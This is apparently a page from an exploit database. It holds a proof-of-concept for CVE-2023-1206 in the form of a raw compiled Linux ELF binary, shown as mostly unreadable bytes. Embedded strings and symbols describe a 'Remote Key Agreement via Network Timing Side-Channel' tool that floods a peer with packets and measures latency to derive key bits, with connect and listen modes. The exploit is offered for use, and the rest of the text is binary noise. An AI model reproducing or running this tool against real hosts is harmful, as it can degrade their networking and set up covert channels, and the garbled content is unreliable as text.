4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / remote_key_agreement
ELF>�@h�@8
@('@@@��hh��000x	x	�<�L�L���<�L�L��88800hhhDDS�td88800P�td�5�5�5��Q�tdR�td�<�L�Lpp/lib64/ld-linux-x86-64.so.2 GNU���GNUeϔ�цIt�_收�����GNU)�)+,4Btu�e�m9����b�v�$� ,�:�>"D� x5�
Kq�7Kq�� e�S#�X~�!�L("�@P� Psetsockoptputsgetpeernameperrorstrncpyclock_gettime__stack_chk_fail__printf_chkfreeaddrinfogetaddrinfobindputcharsocketpthread_joinusleepsend__isoc23_strtolpthread_creategetpidrecvoptarg__fprintf_chk__libc_start_mainstderrin6addr_anysendtolistengetoptinet_ntopsrand__cxa_finalizeacceptclosesignalconnectpthread_cancel__snprintf_chkfwriteinet_ptonlibc.so.6GLIBC_2.38GLIBC_2.4GLIBC_2.17GLIBC_2.34GLIBC_2.3.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable�����ii
���������ti	�ui	��L��L@PP�O�O�O�O!�O*�L) P,@P+�N�N�N�N�N�N�N	�N
�NOO
OO O(O0O8O@OHOPOXO`OhOpOxO�O�O�O�O �O"�O#�O$�O%�O&�O'�O(��H��H��?H��t��H����5�>�%�>@��h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h	�R���f���h
�B���f���h�2���f���h�"���f���h
����f���h����f���h��f���h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h�R���f���h�B���f���h�2���f���h�"���f���h����f���h����f���h��f���h ���f���h!����f���h"����f���h#���f����%~=fD���%.<fD���%&<fD���%<fD���%<fD���%<fD���%<fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%�;fD���%~;fD���%v;fD���%n;fD���%f;fD���%^;fD���%V;fD���%N;fD���%F;fD���%>;fD���%6;fD���%.;fD���%&;fD���%;fD���%;fDH�=j�$������}���H�|$�������\H�=>���H�|$�����H�=�����H�=,�������
H�=������������H�=������f.�@��AWE1�AVA�AUL�-zATL�%�U��SH��H��(dH�%(H��$1��D$izH�D$�$L��H�މ��G������t��b��wJIc�L�>��H�=���H�=]���H�=�����H�=������<$��fDH�;�
1�H��$dH+%(�dH��([]A\A]A^A_�DH�=�9�
1��E����D$�H���@H��9�$H�D$�,���H�=�9�
1��
���A������A������$���H�5�����1�����H���.���1�H�\$ �����1��H���<$�
�|$�a
H�T$H��$��D$��D$ ��1���$����H�T$$f��$��=H��$��@�
�-����|$ ��D��H�5p1�1��J���E��
�RE9�tJD���8��t=D����H���!��x,D�eE��u��@��u�D��D��H�51�����H�=B���D��H�|$d������^�|$ �U�������H�l$D�l$�H�5�H��D�����D��H���4H�|$$�?H��D$ DŽ$��s�������H�
�7��H�=N�������H��$��@���������fD��1�I��^H��H���PTE1�1�H�=�����7�f.�H�=A7H�:7H9�tH��6H��t	�����H�=7H�5
7H)�H��H��?H��H�H�tH��6H��t��fD�����=�6u+UH�=�6H��tH�=�6�	����d�����6]������w�������r6��AW1�AVAUATUH���
S��H��dH�%(H��$�1��������=f�H�T$(H��A�ſ
D$$L�|$H�D$4Di���D$ 
zk�_���fo�L���Mc�)D$@)D$P)D$`)D$p���H�L$H��S㥛� Hit$@BH��H��?H��H��H)�H�I�@L����c���H�L$H��S㥛� Hit$@BH��H��?H��H)�H�L9�s7��L�d$ H�l$@fD1�A�M��@H��D���U�����u��D���V���H��$�dH+%(�1H�Ę[]A\A]A^A_�1Ҿ��|���A�Ņ�x�H�T$$H��H�D$$�D$,L�|$I��S㥛� �D$ zk����foCL���)D$@)D$P)D$`)D$p�R���H�L$Hit$@BH��H��?I��H��H��H)�H�i��H�H�H�D$L�������H�L$Hit$@BH��H��?I��H�D$H��H)�H�H9������L�d$ H�l$@�1�A�M��@H��D��������u������f���AUATUS���H��8dH�%(H�D$(1�H�l$�D$�H���i���1�H�t$�ߺL�l$L�d$���H��t&1�H�T$(dH+%(��H��8[]A\A]�D1�H�t$������H��u�H��Mi�@B���H�|$H��S㥛� HiL$@BH��H��?H��H��H)�H�L)�H��L��I��?H��H��H��L)�H)��`�������ff.�@��U��SH��H���?dH�%(H�D$��ȉ$�Cd��tSH��1ɺ����;H�t$1ɺ���D$�9�������H�T$dH+%(u5H��[]�f.�H�t$1ɺ��;H��1ɺ�.�����������UH��SH��H���?dH�%(H�D$1��Cd���D$��tPH�t$1ɺ���;H�t$1ɺ�<�1��|$���EH�D$dH+%(u5H��1�[]�fDH�t$1ɺ��;H�t$1ɺ�|���e�D��AWA��AVAUATU��SH��H��(dH�%(H�D$1������H�߃�A���a������!�;�B���I��E�����P��l����;�%����P�I���X���H�T$H��D������D�D$I���1�L9�D��@��D1�9�t��E��IŃ���H�@tDE��u&1�H�T$dH+%(��H��([]A\A]A^A_Ð1�M��D��RH�5+��1�AV���XZ�@1�H�KH�|$H��������P���;�P����P�I����H�|$�Y�H�|$1��=�����H�=0��1�H���������>������ff.�f���Uf�A��S�H���L��H��hdH�%(H�D$X1�H�l$@)D$H���D$)D$ )D$0���H�L$H��H��H�T$�}���"�H�D$�P�p�x���Å�������A�H�L$�D$���H�D$�ߋPH�p�������H�|$�_�H�D$XdH+%(u	H��h��[]�����AU1ҾATU���
SH��dH�%(H��$�1�����1�ø
f��o
�*f�D$���L�d$f��A��L��D$L�l$H�D$$f�D$L$�D$���L���A��)���L������������r��H�5�1���m��H�T$L���D$���߉���������A�L����D$�C�H�=�
�'�H��$�dH+%(��H�Ĩ��[]A\A]�1Ҿ����Å��I���L�d$��f�T$f���L��A��H�D$L�l$�D$f�D$�D$����������@��AT1�UHc�H�5�S��H����H��~/H�L�%�f.��L��1�H����H9�u�[�
]A\�����SH��H�5�H��1�����H�={
���H�=����H�=�
���H�=�
����izH�5�
1�����H�5�
1����H�=L��H�=]�z�H�=i�n�H�ڿ1�H�5]�H�H��H�5�
[�1��1���H��H���Sync failed at bit %d
%dgetaddrinfosocketconnectbindaccept[Server] Peer connectedKey (%d bits): %02xUsage: %s [options]

Options:  -v          Verbose output  -h          Show help
Example:  Host A: %s -l -v
c:lp:b:vh[Round %3d] our=%d peer=%d latency=%lu (base=%lu) -> key_bit=%d
[Server] Listening on port %d...

Remote Key Agreement via Network Timing Side-Channel  -c HOST     Connect to HOST (initiator mode)  -l          Listen for connection (responder mode)  -p PORT     Port number (default: %d)
  -b BITS     Key bits (default: %d)
  Host B: %s -c <host_a_ip> -v
╔════════════════════════════════════════════════════════════════╗║  Remote Key Agreement via Network Timing                       ║║  Uses CVE-2023-1206 timing side-channel                        ║╚════════════════════════════════════════════════════════════════╝
[Init] Connecting to %s:%d...
Failed to establish connection
[Setup] Connected! Starting key agreement (%d bits)...


[Complete] Key agreement finished![Progress] %d/%d bits derived
 ������������������F�������������������;�AAAAAAAAAAAAAAAA;�P��������������;������X����� ��4������@������p�������<zRx��&D$4���PFJw�?9*3$"\���t���@���L����F�D�B �B(�A0�I8�N�R
8A0A(B BBBA8���F�B�A �A(�K`_
(A ABBF(,���E�C�G0d
AAK(XL��E�D�G0e
CAGT����F�E�B �B(�A0�C8�G`�
8A0A(B BBBBNhMpFhA`(���E�M�X��
CAAL��K���< ���F�I�A �H(�G�H
(C ABBA`?��7�����(|h�iF�C�K �HFB����E��H� ��JF�E�H �I(�H0�C8�J��
8A0A(B BBBF�@�
�$�L�L���o� �
�N`	���o���o�
���o�o4
���o�L0@P`p�������� 0@P`p�������� 0@P`PGCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0L��
��PJM0A��e�6y~BD�R��&K��(RCintD�*=�-6C	��v
���		����=��b����!�	

���=B�	1�h	3�		6	
�	7	
�	8	
�	9	
 �	:	
(�	;	
0�
	<	
8z	=	
@-	@	
H�	A	
PA	B	
X4	D�`�		F�h 	Hp
	It6	J�x8
	MR�i	NY�8	O��	Q��:	Y
��-	[��2	\���	]���	^	D�	_
*�`	`��
	b�F
1EO	+-f	�	1�6	�-*	�-/	�6	 dN�	�).`�)��	
�'��H�t.6F�88�"$
:�"�	;��67�>��	��G�`��s����H�%	
,.K$
�HN	SI^J�=��[�
���
K�/�	WR���X	����
��6
��"���q�
":�6x26u	�l�x���;�����8�b7D
���.	�
�7�SP
�8OT
�8S�	�A!�L=)�ogS�W��?�Q
!�)~.G/52D3�\�^~b#gdl
s��K�w	�f�j
�/�/
�}�M�"��
"�"}�'�6�'676��Q��	�7.��QKr67/
05�	7�8�9�:�	;
x<2B=	
 �	>�(r	r	���	?�	PNh�	W�	�
WOkey�
gD��	dg6?�w6x�0�����1�@�������	�1c?	=9'��LR+	+		R�XBK	B�[k	k		�2�	���(�	�p�	��~�	��
�1+
�'
�1&n9
^
�^
�c
	�^
Z4�
#E1�
.#
��
��
	D��
�P��
�=�%*F	�	� 	/PD>D9d=qfa����*�:�Fwf��!�F�	^�D**0��HD**0K	qD**���*Q�	�PJ�N5���,zpa�	��=�
��3�	����	�P	�	2opt�	/+(ctx�w��})���!���~(len���}�}�
U��}�(��
T��~Q��}S��
U:T��~Q��}R@��U2T��~R@)��2bit�GC
,���
�',`^�h
U2T	@5Q|R~�jUsTvQ
,���',xv�a-U	x2
,���R',���a-U	@3
,����',���a-U	�3
,����',��a-U	�3
�+HH�1$
,[�T0Q:
�+���t$
,��T0Q:�+�����+���+���+��,^��',��vh
U2T	�4Q~
,���P',�a-U	5
,!�	�',$"!h
U2T	�4QvR}V+H��	}+<:q+MKe+^ZM�.U��}TvQ?
5,RR�	nP,wu$D,o/U	�4T1QO�K	�UvTsQ}N�0	�U2T	��	�U0�	���IU��~T~8�K,-@UvT}�/:e��#��I%���,�#y��',���#h
U2T	r0Qs
,�#�#�',���#a-U	`1
,�#�#�h',���#a-U	�0
,�#�#��',$a-U	�1
,$$�',$a-U	�1
,$$�^',,*&$h
U2T	2Q
iz
,&$&$��',DB>$h
U2T	02Q

,>$>$�',\ZJ$a-U	�0
,J$J$�T',pnV$a-U	�0
,V$V$��',��b$a-U	�0
,b$b$��',��x$h
U2T	�0Qs3,x$��;',
X2�<�$h
U2T	X2Q�U:�~P#i�xRkey~x���~(��*x#3�2i���3,�#S�	',!�#h
U2T|,T#=�B',97x#h
U2T	]0Qv3$3,�#f�;',�0<�#!0U:	�=)8��-38]O�	:	���e���~Nf��~g	'q	��~)��B7��~(optH
��~�+�"-DN�+86�"�oU2T1Q0=#�	�UsT1Q2R|X4@'
U	*0)��ZQx��~(optW
��~�+�!S�+GE"�	5UsT1Q2R|X4"�	cUsT)QJR|X4*"�	�UsT}+'
�U	902KUs
,>">"c',VTS"h
U2T	81Qv
,�"�"t\',nl�"a-U	E0�!�}U:T1Q0>"�	�UsT1j"p	�UsT}Q��~s"K�Us�"�	UvT6Q1R|X4L#/'
U	>0=w��ZB!��3+��qr�������
Z�@!	��')	��^,� �5�,20y,JHm,\X� G0UvT@Q2R@X	0Y�T� 9
aUsTvQ��R��� �!�	�UsT6Q1R��X4/!�	�UsA!
_!/�'
�U	10�KUs�
�'
1U	*0�
	'
U	0j6+0����n!4ctx�n!xp��#��P	�2��,�	�	�&�	������	UO��u]�	��	�	����	��	{'	�	��,��	�',���h
U2T	�0QvR|Y}5,( ( �	0 P,��$D,D �
T2Q	0Rv�>�H#[ UsTv)$�
� U
P�+)8�
� U
P�Hs!� UsT|Q����
� U��T0Q	�Rs��
!U
P� )
 �
<!U
P� �
# �
`!T0S /	w+/	���C#4ctx�$n!��,�-%		]�;C#V	L	>msg�
��Vt�
��W+QQ�	m">+�		2+�	�	&+�	�	+�	�	%J+�	�	dHT�WQ1R0+���	�">+�	�	2+�	�	&+

+'
%
%J+7
5
�HT�WQ1R0Qq#T�VQ1R0�q5#T�VQ1R0�/	+c�`��Y%4ctx�n!M
E
h�$y
o
>msg��PO��TS�+q��#$�++���	Q$>+�
�
2+�
�
&+�
�
+�
�
%J+�
�
�HT�TQ4R0�+���
�$�++���	%>+2+'%&+;5+ZX%J+jh�HT�TQ4R0�q)%T�PQ4R0qK%T�PQ4R0	/?b	`����(m	`�x�`,��b	��Z|x��~��
�(��~�" *#y'�g7��~�m�(��~p3/* "u&,ir;aU}TvQ@R0X|Y@�*�/p�&&/ �*��~��U1T�+uBn	�&�+KI�+\Z�+mk�*�Rq7'&R �*��~��U1T4�X'U2T2Q0u�U2TvQ��~*�"�',i��aU}TvQ@R0X|YL�*H�
(& �*��~M�U1T�+!�J(�+}�+���+���*��6��( �*��~��U1T���(U:T2Q0!��(U:TvQ��~�K�(U}G/�)6?+Q
P��*Q��S
����T
���@t1V��@t2[

�*bV�)&b �*����U1Tv+��Y	L*>+H
F
2+X
V
&+l
f
+�
�
%J+�
�
�HUsT��Q1R0�*��[�*&� �*����U1Tv�q�*UsT��Q1R0Q/5�C�*,tsE^?wA��+TsigAU!K	"V+
�"
("D6__n"%*
g".,sz$
*!�\
�+
�\
�\
n\*!�9D�+
�9D
:9
n9*51��+
/1�5�"s�+
/"sU�	�,V��!T5,
�T #!M^,
M.
�M<#!�3�,6__s36__n3*
�3#���╔════════════════════════════════════════════════════════════════╗
'��J�H║  Remote Key Agreement via Network Timing                       ║
J�H║  Uses CVE-2023-1206 timing side-channel                        ║
���╚════════════════════════════════════════════════════════════════╝

'�%
[Complete] Key agreement finished!
'��'VLW��9�7
Remote Key Agreement via Network Timing Side-Channel

�
Options:
2�0  -c HOST     Connect to HOST (initiator mode)
8�6  -l          Listen for connection (responder mode)
 �  -v          Verbose output
�  -h          Show help

�
Example:
�
'
�[Server] Peer connected
'
�	I~I1�BH}
:;9I8H}(:;9I	!I
1R�BX!YWH}.?:;9'I<
:;9I6I!I/
:;9I87I4:!;9I4:!;9I�B$>4:!;9I1R�BUX!YW.?:;9!'I<4:!;9I�B:!;9I�B1R�BX!YW:;9!:!;9I�B1R�BUX!YW&I 41!.?:;9!'I !4"
:;9I#$1%41�B&U'.?<n:!;!(4:!;9I)U*+.?:!;9'I@z,4:;9I-<.4:;9I?</(0.?:;9n'I<1.?:;9!
'<24:!;9I�B31R�BUX!YW4:!;9I�B5.:;9'I !6:;9I7:;9!8!:!;9!	9.?:;9'I<:.?:!;9!'@z;1<H}�=.?:!;9!'IU@z>4:!;9I?.?:!;9!'@z@4:!;9!I�BA%UBC$>D5IE:;9F:;9G&H:;9II'J>I:;9K(L>I:;9M:;9N:;9O
:;9I8P'IQ.?:;9'I@zR:;9I�BS1XYWT:;9IU.?:;9'I V:;9IW.?<n��
Kn{���)3>GP�Y`go{�������������&	�� J+38� .g-�W=Wt/Y�N�TJX6X0	�wt�Z�
�0?�
�<<��Y0�0�#><=J��0�0�#�?<
�-�t�	V)	=	L�_0Y �	�ZK
�
u�<	5SY0X0�#<4)<�	�R�0X0�*�0VX#t*<�1�tD�t�XJ�s

XYm�	o�'XX	X.f3��It�3hh=t�0�0�J0kf�0k<t��<	�
�.� =	u<��~t���
f7��J 	��~X�	�2�	�q.�9
.Y	KXtY�~t���=f 	zt�~XtX	�O���	[Ui	X��	��uW=Z�+WGtYG;K?	H"[	q"?	U?w]/� .f	)�~	�
�~.�.�	�0	H�uW=Z	�f�~
�	�6�
 YI
�~<�X
�~ �X
�~<X�tJ�
�~�X
�~X<���~�
�~�X�	J�EX��	e�Z.	X����	`!gsYW�/Y	�X	QyX�}�
	�.
�}tJ	�y�

XvX	4
	�Y�
X����}
J���Z,0Z�	I�Z�}
��	F'	/	�
�}X.	�yt�}X
J	�y.
	�wX	�
	�Z
�+X	P#	K�}�
�}.�.
�}Jt�!s
�}<XX�
t	�}	�
�}<��
�}JX!�[�}�
�} �X
�}<��K�}�
�} ��
�}<tX��}
���}
���}
���}
���}
t��}
t��}
���}
���}
���}
X��}
��
�} �		���u�n	���	x.�	�.�L
#��u.`�	P�	k7	2b		�wt�/	
�	�4{4�	Y<��}
���}
���}
���}
��	�u�.
�.7
.J
Hx�su
Y`4
.<
K	sX���X
�|.�X.Z�|
��	�	��~	K/	�Y
W
�f��|
��
�|.��
&5�&X<	�
�	N
IX
��|
�.��|
��h�	VX�}
X�	�
�}���	K	��}
X	�X�|
�	�
v��__recv_aliasIPPROTO_MAXsin6_flowinfogetpidpthread_t_shortbufai_canonname_IO_lock_taddr6stderr__flagsIPPROTO_IP_IO_buf_endsa_datasignalpthread_cancelIPPROTO_MPTCPsockaddrbindsin6_scope_id_IO_write_endget_us_freeres_list__nptrgetopt__socket_typepthread_joinIPPROTO_IGMPflagour_bit_markerspthread_create__builtin_fwritepeer_bitIPPROTO_ETHERNETconnect_to_peerGNU C17 13.3.0 -mtune=generic -march=x86-64 -g -O2 -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectionping__u6_addr16send__bsxIPPROTO_ESP_IO_save_endpeer_lenIPPROTO_EGPsync_round__lenlong long unsigned intresultIPPROTO_IPV6__u6_addr8sin_family__uint16_t__sighandler_t_IO_backup_basejunkprint_keyin_port_tIPPROTO_PUPmeasure_rttpeer_ipfprintf_fileno__bufsin6_portsin_zeros_addrtv_nsecusleepsa_family_tsrand_vtable_offsetai_addrpeer_addrIPPROTO_BEETPH_IO_read_basebytessin6_addrIPPROTO_TCP__uint64_tlistenIPPROTO_UDP__fmt__isoc23_strtolargvacceptsockaddr_storagectrl_sock__streamtimespeckey_round__ss_align__fprintf_chkIPPROTO_IPIP_mode_IO_markerclosesignal_handleris_initiatorinet_ntopnum_bitsSOCK_DCCPss_family__builtin_putspthread_attr_tbyte_idxSOCK_PACKETflooding_IO_write_baseSOCK_DGRAM__pid_tlong long intperror_IO_save_basesin_portIPPROTO_AHpeer_round__printf_chkIPPROTO_ICMPpeer_msg__u6_addr32latencypong__syscall_slong_tmemsetclock_gettime__recv_chksnprintf_freeres_bufin6addr_any__in6_usin_addr__bswap_16__pad5__builtin_putcharinet_ptonaccept_peerargc__chIPPROTO_IDPoptargshort unsigned intprint_usagehintssocketIPPROTO_RSVPSOCK_STREAMsetsockopt_IO_read_endsin6_familyai_familyshort intconnect__clockid_t__builtin_strncpyport_str__stack_chk_failend_time__bswap_32IPPROTO_PIM_IO_wide_datapeer_hostIPPROTO_GRE__SOCKADDR_ARG__ssize_tsockaddr_inkey_ctx_t__uint8_tIPPROTO_SCTPIPPROTO_MTPduration_msbit_index__useconds_tSOCK_CLOEXECIPPROTO_TPsendto__recv_chk_warngetpeername__CONST_SOCKADDR_ARG_locktv_secprog_IO_codecvt_old_offset_IO_FILEIPPROTO_UDPLITESOCK_RAWIPPROTO_COMP__ss_paddingIPPROTO_ENCAP__destai_protocolai_socktypeunsigned char__uint32_tkey_bit__socklen_t__src_IO_write_ptrSOCK_SEQPACKET__fdbaseline__time_tlatency_bitai_flagsbit_posexchange_commitment__off_trecvverbosesa_familysend_floodtarget_ipIPPROTO_MPLSmainai_nextatoilisten_sockSOCK_NONBLOCK_IO_read_ptrflood_threadrunningin_addr_t__align_chainai_addrlen__builtin___snprintf_chk_flags2IPPROTO_L2TP__sizefreeaddrinfo_cur_columnsockaddr_in6IPPROTO_DCCPgetaddrinfoIPPROTO_RAW__off64_t_unused2_IO_buf_baseSOCK_RDMremote_key_agreement.c/home/vlad/Desktop/convert_channel_bug_exploitation/usr/include/x86_64-linux-gnu/bits/usr/include/usr/lib/gcc/x86_64-linux-gnu/13/include/usr/include/x86_64-linux-gnu/bits/types/usr/include/netinet/usr/include/x86_64-linux-gnu/sys/usr/include/arpastring_fortified.hsocket2.hbyteswap.hstdio2.hstdlib.hstddef.hstruct_FILE.hstdio.hclockid_t.htime_t.hstruct_timespec.hpthreadtypes.hstdint-uintn.hunistd.hgetopt_core.hsignal.hsockaddr.hsocket.hin.hnetdb.hinet.htime.hstdio2-decl.hpthread.h<built-in>socket_type.h�
P\U\�V���U���V���U���V���U���V���U�P\T\�S���T���S���T��0���1��0���P�
iz���P�
���P�0��P"Pv0�|��
@5����,��j-���-��.�h��0��S^
�4����.!
�4�H?�HVHU��}�R
�4��#UQ�S��Q���U��#
r0��#�/�#�P/�#�_/$��/$
2�&$
02�>$��/J$��/V$�0b$
�0�P##U#6S6i�U�P#T/V/i�T�x#0�)s�U�).�U s"��# 
m0�T#$
]0�`!U�V���U���V���U��U�7V�!P�S��S��P��P��S��SS)4P47Sn"P;V��VV�"P�!
V>"
81��"�*0` GUG�S���U��=�U�=KS` T]Y]��T��K�T�� +P+QSooS�S%0P0=S� 
0�� @�� UV�.U.�S���U���S�.T.�V���T���V�.Q.�_���Q���_�P�\��\P{^��^��P��^'0���0���1�3PY]|�]��P��]`*u��*, ~�#���������}#���������-��O]u��]t ~�#���������}#���������-��c'	u�q'�LO	u�q'�OZu�x'|'�Zl&~�#���������}#���������-�x'|'�c)v8�Lqv8�c)	v8�Lq	v8��!
�0�( 
0�UxSxz�U�z�S5T5z�T�z�T���T�<Q<yVyz�Q�z�Q��VQ0�Q1�Q�W�T�W�QsQ1��0��1���W�T�W��s�1�`UtStv�U�v�S`0T0uVuv�T�v�T��V�0��4���T�T�T��s�4���T�0��4���T�T�T��s�4��U�V���U���V���U��T�S���T���S���T��BPB�]��P��P��]|v^�Po��~u$@�u$A�u$��~�!'@�!'A�!'��~�PUuSu{�U�{�S�
}@B|
�"�,T}@B|
�"�*��
�r"�"v@B��
�"��0��1�����T����S�1��*2Iz!'Y$,@ju$�%*4\#+9C�������
A�(` ��Kl .38;CCMR`!�7�!��!	
�"w4�"T#$�#
�#	�#x$
��]��^je,
&����P��	� �*P2�KG7X�c�ex@�HP��L����LX��t9���L�5�N,B]` �m~���  P��!�L��)BU��`Pg�$�`!��������P# P6 EPR0aw���PP	�&�`�� P�PJ��P':P#iDWj�~��P���#�� �	!;"V�\o�@P�Scrt1.o__abi_tagremote_key_agreement.crunningconnect_to_peer.coldaccept_peer.coldcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_inet_ntop@GLIBC_2.2.5__snprintf_chk@GLIBC_2.3.4connect_to_peerrecv@GLIBC_2.2.5putchar@GLIBC_2.2.5__libc_start_main@GLIBC_2.34strncpy@GLIBC_2.2.5_ITM_deregisterTMCloneTableputs@GLIBC_2.2.5in6addr_any@GLIBC_2.2.5key_roundsetsockopt@GLIBC_2.2.5clock_gettime@GLIBC_2.17getpid@GLIBC_2.2.5send_flood_edatagetpeername@GLIBC_2.2.5_finiaccept_peer__stack_chk_fail@GLIBC_2.4send@GLIBC_2.2.5sendto@GLIBC_2.2.5close@GLIBC_2.2.5signal_handlersrand@GLIBC_2.2.5__data_startsignal@GLIBC_2.2.5optarg@GLIBC_2.2.5__gmon_start____dso_handle_IO_stdin_usedinet_pton@GLIBC_2.2.5time@GLIBC_2.2.5__isoc23_strtol@GLIBC_2.38listen@GLIBC_2.2.5_endsync_round__bss_startmain__printf_chk@GLIBC_2.3.4bind@GLIBC_2.2.5pthread_create@GLIBC_2.34measure_rttperror@GLIBC_2.2.5print_keygetopt@GLIBC_2.2.5accept@GLIBC_2.2.5exchange_commitmentconnect@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END____fprintf_chk@GLIBC_2.3.4print_usage_ITM_registerTMCloneTablegetaddrinfo@GLIBC_2.2.5pthread_join@GLIBC_2.34pthread_cancel@GLIBC_2.34__cxa_finalize@GLIBC_2.2.5_initusleep@GLIBC_2.2.5freeaddrinfo@GLIBC_2.2.5stderr@GLIBC_2.2.5socket@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.data.rel.ro.dynamic.data.bss.comment.debug_aranges.debug_info.debug_abbrev.debug_line.debug_str.debug_line_str.debug_loclists.debug_rnglists#8806hh$I�� W���o��4a��8i  q���o4
4
Z~���o�
�
p��B`��  P�pp���@������$�$
�00���5�5��h6h6��L�<��L�<��L�< 
�L�<���N�>`P@ P@0 0@+'?@P6�@Q0B�pmPMv\0e��
g0�4w8��
����(&	 ���